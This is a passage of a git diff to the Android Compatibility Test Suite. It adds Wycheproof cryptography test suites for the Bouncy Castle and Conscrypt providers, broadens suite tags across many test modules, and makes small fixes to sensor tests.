+ <option name="test-timeout" value="600000" />
+ </test>
+</configuration>
diff --git a/tests/libcore/wycheproof-bc/src/android/libcore/cts/wycheproof/BouncyCastleSupportProvider.java b/tests/libcore/wycheproof-bc/src/android/libcore/cts/wycheproof/BouncyCastleSupportProvider.java
new file mode 100644
index 0000000..d6ab5c1
--- /dev/null
+++ b/tests/libcore/wycheproof-bc/src/android/libcore/cts/wycheproof/BouncyCastleSupportProvider.java
@@ -0,0 +1,48 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.libcore.cts.wycheproof;
+
+import java.security.Provider;
+
+/**
+ * Provides a small number of exports to allow Bouncy Castle tests to function properly.
+ * Our modified version of Bouncy Castle depends on Conscrypt for a few pieces of
+ * functionality, but in tests we don't want to have Conscrypt installed so that we can test
+ * Bouncy Castle properly. We install this provider instead.
+ */
+public class BouncyCastleSupportProvider extends Provider {
+
+ // The classes are jarjared, so this is the prefix in practice.
+ private static final String PREFIX = "com.android.org.conscrypt.";
+
+ public BouncyCastleSupportProvider() {
+ // Our modified version of Bouncy Castle specifically expects certain algorithms
+ // to be provided by a provider named "AndroidOpenSSL", so we use that name
+ super("AndroidOpenSSL", 0.0,
+ "Provides algorithms that Bouncy Castle needs to work in tests");
+
+ // Conscrypt is the only SecureRandom implementation
+ put("SecureRandom.SHA1PRNG", PREFIX + "OpenSSLRandom");
+
+ // Bouncy Castle's MACs are backed by Conscrypt's MessageDigests
+ put("MessageDigest.SHA-1", PREFIX + "OpenSSLMessageDigestJDK$SHA1");
+ put("MessageDigest.SHA-224", PREFIX + "OpenSSLMessageDigestJDK$SHA224");
+ put("MessageDigest.SHA-256", PREFIX + "OpenSSLMessageDigestJDK$SHA256");
+ put("MessageDigest.SHA-384", PREFIX + "OpenSSLMessageDigestJDK$SHA384");
+ put("MessageDigest.SHA-512", PREFIX + "OpenSSLMessageDigestJDK$SHA512");
+ }
+}
diff --git a/tests/libcore/wycheproof-bc/src/android/libcore/cts/wycheproof/BouncyCastleTest.java b/tests/libcore/wycheproof-bc/src/android/libcore/cts/wycheproof/BouncyCastleTest.java
new file mode 100644
index 0000000..dfb71e8
--- /dev/null
+++ b/tests/libcore/wycheproof-bc/src/android/libcore/cts/wycheproof/BouncyCastleTest.java
@@ -0,0 +1,91 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.libcore.cts.wycheproof;
+
+import com.android.org.bouncycastle.jce.provider.BouncyCastleProvider;
+import com.google.security.wycheproof.AesGcmTest;
+import com.google.security.wycheproof.BasicTest;
+import com.google.security.wycheproof.CipherInputStreamTest;
+import com.google.security.wycheproof.CipherOutputStreamTest;
+import com.google.security.wycheproof.DhTest;
+import com.google.security.wycheproof.DhiesTest;
+import com.google.security.wycheproof.DsaTest;
+import com.google.security.wycheproof.EcKeyTest;
+import com.google.security.wycheproof.EcdhTest;
+import com.google.security.wycheproof.EcdsaTest;
+import com.google.security.wycheproof.RsaEncryptionTest;
+import com.google.security.wycheproof.RsaKeyTest;
+import com.google.security.wycheproof.RsaSignatureTest;
+import com.google.security.wycheproof.TestUtil;
+import com.google.security.wycheproof.WycheproofRunner;
+import com.google.security.wycheproof.WycheproofRunner.Fast;
+import com.google.security.wycheproof.WycheproofRunner.Provider;
+import com.google.security.wycheproof.WycheproofRunner.ProviderType;
+
+import org.junit.AfterClass;
+import org.junit.BeforeClass;
+import org.junit.runner.RunWith;
+import org.junit.runners.Suite.SuiteClasses;
+
+import java.security.Security;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.List;
+
+/**
+ * Checks that our Bouncy Castle provider properly implements all its functionality.
+ */
+@RunWith(WycheproofRunner.class)
+@SuiteClasses({
+ AesGcmTest.class,
+ BasicTest.class,
+ CipherInputStreamTest.class,
+ CipherOutputStreamTest.class,
+ DhTest.class,
+ DhiesTest.class,
+ DsaTest.class,
+ EcKeyTest.class,
+ EcdhTest.class,
+ EcdsaTest.class,
+ RsaEncryptionTest.class,
+ RsaKeyTest.class,
+ RsaSignatureTest.class,
+})
+@Provider(ProviderType.BOUNCY_CASTLE)
+@Fast
+public final class BouncyCastleTest {
+
+ private static final List<java.security.Provider> previousProviders = new ArrayList<>();
+
+ @BeforeClass
+ public static void setUp() throws Exception {
+ previousProviders.clear();
+ previousProviders.addAll(Arrays.asList(Security.getProviders()));
+ TestUtil.installOnlyThisProvider(new BouncyCastleProvider());
+ Security.addProvider(new BouncyCastleSupportProvider());
+ }
+
+ @AfterClass
+ public static void tearDown() throws Exception {
+ for (java.security.Provider p : Security.getProviders()) {
+ Security.removeProvider(p.getName());
+ }
+ for (java.security.Provider p : previousProviders) {
+ Security.addProvider(p);
+ }
+ }
+}
diff --git a/tests/libcore/wycheproof/Android.mk b/tests/libcore/wycheproof/Android.mk
new file mode 100644
index 0000000..652e36c
--- /dev/null
+++ b/tests/libcore/wycheproof/Android.mk
@@ -0,0 +1,49 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_PACKAGE_NAME := CtsLibcoreWycheproofConscryptTestCases
+
+LOCAL_STATIC_JAVA_LIBRARIES := \
+ cts-core-test-runner \
+ wycheproof
+
+LOCAL_JAVA_LIBRARIES := conscrypt
+
+# Don't include this package in any target
+LOCAL_MODULE_TAGS := tests
+
+# When built, explicitly put it in the data partition.
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+
+LOCAL_SRC_FILES := $(call all-java-files-under,src)
+
+LOCAL_DEX_PREOPT := false
+LOCAL_JACK_FLAGS := --multi-dex native
+
+LOCAL_PROGUARD_ENABLED := disabled
+
+# Include both the 32 and 64 bit versions of libjavacoretests,
+# where applicable.
+LOCAL_MULTILIB := both
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+LOCAL_JAVA_RESOURCE_FILES := libcore/expectations/knownfailures.txt
+
+include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/tests/libcore/wycheproof/AndroidManifest.xml b/tests/libcore/wycheproof/AndroidManifest.xml
new file mode 100644
index 0000000..765c677
--- /dev/null
+++ b/tests/libcore/wycheproof/AndroidManifest.xml
@@ -0,0 +1,28 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android" package="android.libcore.cts.wycheproof.conscrypt">
+ <uses-permission android:name="android.permission.INTERNET" />
+ <application>
+ <uses-library android:name="android.test.runner" />
+ </application>
+
+ <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.libcore.cts.wycheproof.conscrypt"
+ android:label="CTS Libcore Wycheproof Conscrypt test cases" />
+
+</manifest>
diff --git a/tests/libcore/wycheproof/AndroidTest.xml b/tests/libcore/wycheproof/AndroidTest.xml
new file mode 100644
index 0000000..b5874fd
--- /dev/null
+++ b/tests/libcore/wycheproof/AndroidTest.xml
@@ -0,0 +1,36 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+<configuration description="Config for CTS Libcore Wycheproof Conscrypt test cases">
+ <option name="config-descriptor:metadata" key="component" value="libcore" />
+ <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+ <option name="cleanup-apks" value="true" />
+ <!-- this has just the instrumentation which acts as the tests we want to run -->
+ <option name="test-file-name" value="CtsLibcoreWycheproofConscryptTestCases.apk" />
+ </target_preparer>
+ <test class="com.android.compatibility.testtype.LibcoreTest" >
+ <option name="package" value="android.libcore.cts.wycheproof.conscrypt" />
+ <!-- The individual test cases don't work unless they're run in the
+ context of one of the suites, so we have to limit the test
+ infrastructure to only running the test suites. -->
+ <option name="test-package" value="android.libcore.cts.wycheproof" />
+ <option name="instrumentation-arg" key="listener"
+ value="com.android.cts.runner.CtsTestRunListener" />
+ <option name="instrumentation-arg" key="filter"
+ value="com.android.cts.core.runner.ExpectationBasedFilter" />
+ <option name="core-expectation" value="/knownfailures.txt" />
+ <option name="runtime-hint" value="10m"/>
+ </test>
+</configuration>
diff --git a/tests/libcore/wycheproof/src/android/libcore/cts/wycheproof/ConscryptTest.java b/tests/libcore/wycheproof/src/android/libcore/cts/wycheproof/ConscryptTest.java
new file mode 100644
index 0000000..bee62fa
--- /dev/null
+++ b/tests/libcore/wycheproof/src/android/libcore/cts/wycheproof/ConscryptTest.java
@@ -0,0 +1,84 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.libcore.cts.wycheproof;
+
+import com.android.org.conscrypt.OpenSSLProvider;
+import com.google.security.wycheproof.AesGcmTest;
+import com.google.security.wycheproof.BasicTest;
+import com.google.security.wycheproof.CipherInputStreamTest;
+import com.google.security.wycheproof.CipherOutputStreamTest;
+import com.google.security.wycheproof.EcKeyTest;
+import com.google.security.wycheproof.EcdhTest;
+import com.google.security.wycheproof.EcdsaTest;
+import com.google.security.wycheproof.RsaEncryptionTest;
+import com.google.security.wycheproof.RsaKeyTest;
+import com.google.security.wycheproof.RsaSignatureTest;
+import com.google.security.wycheproof.TestUtil;
+import com.google.security.wycheproof.WycheproofRunner;
+import com.google.security.wycheproof.WycheproofRunner.Fast;
+import com.google.security.wycheproof.WycheproofRunner.Provider;
+import com.google.security.wycheproof.WycheproofRunner.ProviderType;
+
+import org.junit.AfterClass;
+import org.junit.BeforeClass;
+import org.junit.runner.RunWith;
+import org.junit.runners.Suite.SuiteClasses;
+
+import java.security.Security;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.List;
+
+/**
+ * Checks that our Conscrypt provider properly implements all its functionality.
+ */
+@RunWith(WycheproofRunner.class)
+@SuiteClasses({
+ AesGcmTest.class,
+ BasicTest.class,
+ CipherInputStreamTest.class,
+ CipherOutputStreamTest.class,
+ EcKeyTest.class,
+ EcdhTest.class,
+ EcdsaTest.class,
+ RsaEncryptionTest.class,
+ RsaKeyTest.class,
+ RsaSignatureTest.class
+})
+@Provider(ProviderType.CONSCRYPT)
+@Fast
+public final class ConscryptTest {
+
+ private static final List<java.security.Provider> previousProviders = new ArrayList<>();
+
+ @BeforeClass
+ public static void setUp() throws Exception {
+ previousProviders.clear();
+ previousProviders.addAll(Arrays.asList(Security.getProviders()));
+ TestUtil.installOnlyThisProvider(new OpenSSLProvider());
+ }
+
+ @AfterClass
+ public static void tearDown() throws Exception {
+ for (java.security.Provider p : Security.getProviders()) {
+ Security.removeProvider(p.getName());
+ }
+ for (java.security.Provider p : previousProviders) {
+ Security.addProvider(p);
+ }
+ }
+}
diff --git a/tests/netlegacy22.api/Android.mk b/tests/netlegacy22.api/Android.mk
index 3fca098..8639514 100644
--- a/tests/netlegacy22.api/Android.mk
+++ b/tests/netlegacy22.api/Android.mk
@@ -30,6 +30,6 @@
LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner legacy-android-test
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_PACKAGE)
diff --git a/tests/netlegacy22.api/AndroidTest.xml b/tests/netlegacy22.api/AndroidTest.xml
index 76b0174..673bdeb 100644
--- a/tests/netlegacy22.api/AndroidTest.xml
+++ b/tests/netlegacy22.api/AndroidTest.xml
@@ -14,7 +14,9 @@
limitations under the License.
-->
<configuration description="Config for CTS Legacy android.net APIs test cases">
+ <option name="test-suite-tag" value="cts" />
<option name="config-descriptor:metadata" key="component" value="networking" />
+ <option name="not-shardable" value="true" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsNetTestCasesLegacyApi22.apk" />
diff --git a/tests/netlegacy22.permission/Android.mk b/tests/netlegacy22.permission/Android.mk
index d21cd67..262e600 100644
--- a/tests/netlegacy22.permission/Android.mk
+++ b/tests/netlegacy22.permission/Android.mk
@@ -30,6 +30,6 @@
LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner legacy-android-test
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_PACKAGE)
diff --git a/tests/netlegacy22.permission/AndroidTest.xml b/tests/netlegacy22.permission/AndroidTest.xml
index 16875a6..db6f294 100644
--- a/tests/netlegacy22.permission/AndroidTest.xml
+++ b/tests/netlegacy22.permission/AndroidTest.xml
@@ -15,6 +15,7 @@
-->
<configuration description="Config for CTS Legacy android.net Permission test cases">
<option name="config-descriptor:metadata" key="component" value="networking" />
+ <option name="not-shardable" value="true" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsNetTestCasesLegacyPermission22.apk" />
diff --git a/tests/netsecpolicy/usescleartexttraffic-false/Android.mk b/tests/netsecpolicy/usescleartexttraffic-false/Android.mk
index 6b24a37..34422f8 100644
--- a/tests/netsecpolicy/usescleartexttraffic-false/Android.mk
+++ b/tests/netsecpolicy/usescleartexttraffic-false/Android.mk
@@ -26,7 +26,7 @@
LOCAL_PACKAGE_NAME := CtsNetSecPolicyUsesCleartextTrafficFalse
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_SDK_VERSION := current
diff --git a/tests/netsecpolicy/usescleartexttraffic-true/Android.mk b/tests/netsecpolicy/usescleartexttraffic-true/Android.mk
index 9727959..efabeb2 100644
--- a/tests/netsecpolicy/usescleartexttraffic-true/Android.mk
+++ b/tests/netsecpolicy/usescleartexttraffic-true/Android.mk
@@ -26,7 +26,7 @@
LOCAL_PACKAGE_NAME := CtsNetSecPolicyUsesCleartextTrafficTrue
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_SDK_VERSION := current
diff --git a/tests/netsecpolicy/usescleartexttraffic-unspecified/Android.mk b/tests/netsecpolicy/usescleartexttraffic-unspecified/Android.mk
index 7a964cc..9960bca 100644
--- a/tests/netsecpolicy/usescleartexttraffic-unspecified/Android.mk
+++ b/tests/netsecpolicy/usescleartexttraffic-unspecified/Android.mk
@@ -26,7 +26,7 @@
LOCAL_PACKAGE_NAME := CtsNetSecPolicyUsesCleartextTrafficUnspecified
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_SDK_VERSION := current
diff --git a/tests/openglperf2/Android.mk b/tests/openglperf2/Android.mk
index f46c7d4..4f402ca 100644
--- a/tests/openglperf2/Android.mk
+++ b/tests/openglperf2/Android.mk
@@ -30,7 +30,7 @@
LOCAL_PACKAGE_NAME := CtsOpenGlPerf2TestCases
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_SDK_VERSION := 16
diff --git a/tests/openglperf2/jni/Android.mk b/tests/openglperf2/jni/Android.mk
index c2bb7a8..174375d 100644
--- a/tests/openglperf2/jni/Android.mk
+++ b/tests/openglperf2/jni/Android.mk
@@ -21,6 +21,8 @@
# Needed in order to use fences for synchronization
LOCAL_CFLAGS += -DEGL_EGLEXT_PROTOTYPES -funsigned-char
+LOCAL_CFLAGS += -Wno-unused-parameter
+
# Get all cpp files but not hidden files
LOCAL_SRC_FILES := $(call all-subdir-cpp-files)
diff --git a/tests/openglperf2/src/android/opengl2/cts/reference/GLReferenceBenchmark.java b/tests/openglperf2/src/android/opengl2/cts/reference/GLReferenceBenchmark.java
index cd14731..ab4f860 100644
--- a/tests/openglperf2/src/android/opengl2/cts/reference/GLReferenceBenchmark.java
+++ b/tests/openglperf2/src/android/opengl2/cts/reference/GLReferenceBenchmark.java
@@ -29,7 +29,7 @@
private static final int NUM_FRAMES_PER_SCENE = 500;
private static final int NUM_SCENES = 2;
private static final int NUM_FRAMES = NUM_FRAMES_PER_SCENE * NUM_SCENES;
- private static final int TIMEOUT = 1000000;
+ private static final int TIMEOUT = 2000000;
private static final String REPORT_LOG_NAME = "CtsOpenGlPerf2TestCases";
public GLReferenceBenchmark() {
diff --git a/tests/pdf/Android.mk b/tests/pdf/Android.mk
index 1e4a1ca..2b301af 100644
--- a/tests/pdf/Android.mk
+++ b/tests/pdf/Android.mk
@@ -34,7 +34,7 @@
LOCAL_SRC_FILES := $(call all-java-files-under, src)
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_PACKAGE_NAME := CtsPdfTestCases
diff --git a/tests/pdf/AndroidTest.xml b/tests/pdf/AndroidTest.xml
index 5a0f718..ab88726 100644
--- a/tests/pdf/AndroidTest.xml
+++ b/tests/pdf/AndroidTest.xml
@@ -14,11 +14,14 @@
limitations under the License.
-->
<configuration description="Config for CTS Pdf test cases">
+ <option name="not-shardable" value="true" />
<option name="config-descriptor:metadata" key="component" value="framework" />
+
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsPdfTestCases.apk" />
</target_preparer>
+
<test class="com.android.tradefed.testtype.AndroidJUnitTest" >
<option name="package" value="android.graphics.pdf.cts" />
<option name="runtime-hint" value="5m" />
diff --git a/tests/sample/Android.mk b/tests/sample/Android.mk
index 419faa5..f6d8760 100755
--- a/tests/sample/Android.mk
+++ b/tests/sample/Android.mk
@@ -25,12 +25,15 @@
LOCAL_PROGUARD_ENABLED := disabled
-LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := \
+ compatibility-device-util \
+ android-support-test \
+ legacy-android-test
LOCAL_SRC_FILES := $(call all-java-files-under, src)
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_PACKAGE_NAME := CtsSampleDeviceTestCases
diff --git a/tests/sensor/Android.mk b/tests/sensor/Android.mk
index 7b6dd32..dcf9015 100644
--- a/tests/sensor/Android.mk
+++ b/tests/sensor/Android.mk
@@ -32,7 +32,7 @@
LOCAL_SDK_VERSION := current
LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
+-include cts/error_prone_rules_tests.mk
include $(BUILD_STATIC_JAVA_LIBRARY)
#
@@ -60,7 +60,7 @@
LOCAL_SDK_VERSION := current
LOCAL_NDK_STL_VARIANT := c++_shared
-
+-include cts/error_prone_rules_tests.mk
include $(BUILD_SHARED_LIBRARY)
#
@@ -73,7 +73,7 @@
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
# include both the 32 and 64 bit versions
LOCAL_MULTILIB := both
diff --git a/tests/sensor/src/android/hardware/cts/SensorBatchingTests.java b/tests/sensor/src/android/hardware/cts/SensorBatchingTests.java
index cb4076c..1b2b25c 100644
--- a/tests/sensor/src/android/hardware/cts/SensorBatchingTests.java
+++ b/tests/sensor/src/android/hardware/cts/SensorBatchingTests.java
@@ -87,11 +87,11 @@
runBatchingSensorTest(Sensor.TYPE_ACCELEROMETER_UNCALIBRATED, RATE_50HZ, BATCHING_PERIOD);
}
- public void tesAccelUncalibrated_fastest_flush() throws Throwable {
+ public void testAccelUncalibrated_fastest_flush() throws Throwable {
runFlushSensorTest(Sensor.TYPE_ACCELEROMETER_UNCALIBRATED, RATE_FASTEST, BATCHING_PERIOD);
}
- public void tesAccelUncalibrated_50hz_flush() throws Throwable {
+ public void testAccelUncalibrated_50hz_flush() throws Throwable {
runFlushSensorTest(Sensor.TYPE_ACCELEROMETER_UNCALIBRATED, RATE_50HZ, BATCHING_PERIOD);
}
diff --git a/tests/sensor/src/android/hardware/cts/SensorParameterRangeTest.java b/tests/sensor/src/android/hardware/cts/SensorParameterRangeTest.java
index 62e7fe4..44135bc 100644
--- a/tests/sensor/src/android/hardware/cts/SensorParameterRangeTest.java
+++ b/tests/sensor/src/android/hardware/cts/SensorParameterRangeTest.java
@@ -177,7 +177,7 @@
for (Sensor s : sensors) {
int id = s.getId();
if (id != 0) {
- errors.add(String.format("sensor \"%s\" has id %d", s.getName(), s));
+ errors.add(String.format("sensor \"%s\" has id %d", s.getName(), id));
}
}
if (errors.size() > 0) {
diff --git a/tests/sensor/src/android/hardware/cts/helpers/FrameworkUnitTests.java b/tests/sensor/src/android/hardware/cts/helpers/FrameworkUnitTests.java
index 87a9a2e..6480f55 100644
--- a/tests/sensor/src/android/hardware/cts/helpers/FrameworkUnitTests.java
+++ b/tests/sensor/src/android/hardware/cts/helpers/FrameworkUnitTests.java
@@ -23,6 +23,7 @@
import android.hardware.cts.helpers.sensorverification.EventGapVerificationTest;
import android.hardware.cts.helpers.sensorverification.EventOrderingVerificationTest;
import android.hardware.cts.helpers.sensorverification.FrequencyVerificationTest;
+import android.hardware.cts.helpers.sensorverification.InitialValueVerificationTest;
import android.hardware.cts.helpers.sensorverification.JitterVerificationTest;
import android.hardware.cts.helpers.sensorverification.MagnitudeVerificationTest;
import android.hardware.cts.helpers.sensorverification.MeanVerificationTest;
@@ -42,12 +43,13 @@
addTestSuite(SensorStatsTest.class);
// sensorverification
+ addTestSuite(EventGapVerificationTest.class);
addTestSuite(EventOrderingVerificationTest.class);
addTestSuite(FrequencyVerificationTest.class);
+ addTestSuite(InitialValueVerificationTest.class);
addTestSuite(JitterVerificationTest.class);
addTestSuite(MagnitudeVerificationTest.class);
addTestSuite(MeanVerificationTest.class);
- addTestSuite(EventGapVerificationTest.class);
addTestSuite(StandardDeviationVerificationTest.class);
addTestSuite(TimestampClockSourceVerificationTest.class);
diff --git a/tests/sensor/src/android/hardware/cts/helpers/SensorCtsHelper.java b/tests/sensor/src/android/hardware/cts/helpers/SensorCtsHelper.java
index db9c5a5..bbe2006 100644
--- a/tests/sensor/src/android/hardware/cts/helpers/SensorCtsHelper.java
+++ b/tests/sensor/src/android/hardware/cts/helpers/SensorCtsHelper.java
@@ -228,6 +228,30 @@
}
/**
+ * Format an array of floats.
+ *
+ * @param array the array of floats
+ *
+ * @return The formatted string
+ */
+ public static String formatFloatArray(float[] array) {
+ StringBuilder sb = new StringBuilder();
+ if (array.length > 1) {
+ sb.append("(");
+ }
+ for (int i = 0; i < array.length; i++) {
+ sb.append(String.format("%.2f", array[i]));
+ if (i != array.length - 1) {
+ sb.append(", ");
+ }
+ }
+ if (array.length > 1) {
+ sb.append(")");
+ }
+ return sb.toString();
+ }
+
+ /**
* @return A {@link File} representing a root directory to store sensor tests data.
*/
public static File getSensorTestDataDirectory() throws IOException {
diff --git a/tests/sensor/src/android/hardware/cts/helpers/SensorStats.java b/tests/sensor/src/android/hardware/cts/helpers/SensorStats.java
index bc3db99..3892366 100644
--- a/tests/sensor/src/android/hardware/cts/helpers/SensorStats.java
+++ b/tests/sensor/src/android/hardware/cts/helpers/SensorStats.java
@@ -64,6 +64,8 @@
public static final String STANDARD_DEVIATION_KEY = "standard_deviation";
public static final String MAGNITUDE_KEY = "magnitude";
public static final String DELAYED_BATCH_DELIVERY = "delayed_batch_delivery";
+ public static final String INITIAL_MEAN_KEY = "initial_mean";
+ public static final String LATER_MEAN_KEY = "later_mean";
private final Map<String, Object> mValues = new HashMap<>();
private final Map<String, SensorStats> mSensorStats = new HashMap<>();
diff --git a/tests/sensor/src/android/hardware/cts/helpers/sensoroperations/SensorOperationTest.java b/tests/sensor/src/android/hardware/cts/helpers/sensoroperations/SensorOperationTest.java
index 30da9a0..abfa692 100644
--- a/tests/sensor/src/android/hardware/cts/helpers/sensoroperations/SensorOperationTest.java
+++ b/tests/sensor/src/android/hardware/cts/helpers/sensoroperations/SensorOperationTest.java
@@ -59,7 +59,7 @@
op = new FakeSensorOperation(true, 0, TimeUnit.MILLISECONDS);
try {
op.execute(mTestNode);
- fail("AssertionError expected");
+ throw new Error("AssertionError expected");
} catch (AssertionError e) {
// Expected
}
diff --git a/tests/sensor/src/android/hardware/cts/helpers/sensoroperations/TestSensorOperation.java b/tests/sensor/src/android/hardware/cts/helpers/sensoroperations/TestSensorOperation.java
index 8201861..ad2084d 100644
--- a/tests/sensor/src/android/hardware/cts/helpers/sensoroperations/TestSensorOperation.java
+++ b/tests/sensor/src/android/hardware/cts/helpers/sensoroperations/TestSensorOperation.java
@@ -40,6 +40,7 @@
import android.hardware.cts.helpers.sensorverification.JitterVerification;
import android.hardware.cts.helpers.sensorverification.MagnitudeVerification;
import android.hardware.cts.helpers.sensorverification.MeanVerification;
+import android.hardware.cts.helpers.sensorverification.InitialValueVerification;
import android.hardware.cts.helpers.sensorverification.StandardDeviationVerification;
import android.os.Handler;
import android.os.SystemClock;
@@ -110,6 +111,7 @@
addVerification(MeanVerification.getDefault(mEnvironment));
addVerification(StandardDeviationVerification.getDefault(mEnvironment));
addVerification(EventTimestampSynchronizationVerification.getDefault(mEnvironment));
+ addVerification(InitialValueVerification.getDefault(mEnvironment));
}
public void addVerification(ISensorVerification verification) {
diff --git a/tests/sensor/src/android/hardware/cts/helpers/sensorverification/EventBasicVerificationTest.java b/tests/sensor/src/android/hardware/cts/helpers/sensorverification/EventBasicVerificationTest.java
index 34be3c4..b682ac5 100644
--- a/tests/sensor/src/android/hardware/cts/helpers/sensorverification/EventBasicVerificationTest.java
+++ b/tests/sensor/src/android/hardware/cts/helpers/sensorverification/EventBasicVerificationTest.java
@@ -65,7 +65,7 @@
try {
verification.verify(stats);
- fail("Expect an AssertionError due to insufficient samples");
+ throw new Error("Expect an AssertionError due to insufficient samples");
} catch (AssertionError e) {
//Expected
}
@@ -81,7 +81,7 @@
try {
verification.verify(stats);
- fail("Expect an AssertionError due to wrong sensor event");
+ throw new Error("Expect an AssertionError due to wrong sensor event");
} catch (AssertionError e) {
//Expected
}
diff --git a/tests/sensor/src/android/hardware/cts/helpers/sensorverification/EventOrderingVerificationTest.java b/tests/sensor/src/android/hardware/cts/helpers/sensorverification/EventOrderingVerificationTest.java
index f1dc229c8..9cb7436 100644
--- a/tests/sensor/src/android/hardware/cts/helpers/sensorverification/EventOrderingVerificationTest.java
+++ b/tests/sensor/src/android/hardware/cts/helpers/sensorverification/EventOrderingVerificationTest.java
@@ -58,7 +58,7 @@
EventOrderingVerification verification = getVerification(0, 2, 1, 3, 4);
try {
verification.verify(stats);
- fail("Expected an AssertionError");
+ throw new Error("Expected an AssertionError");
} catch (AssertionError e) {
// Expected;
}
@@ -75,7 +75,7 @@
EventOrderingVerification verification = getVerification(4, 0, 1, 2, 3);
try {
verification.verify(stats);
- fail("Expected an AssertionError");
+ throw new Error("Expected an AssertionError");
} catch (AssertionError e) {
// Expected;
}
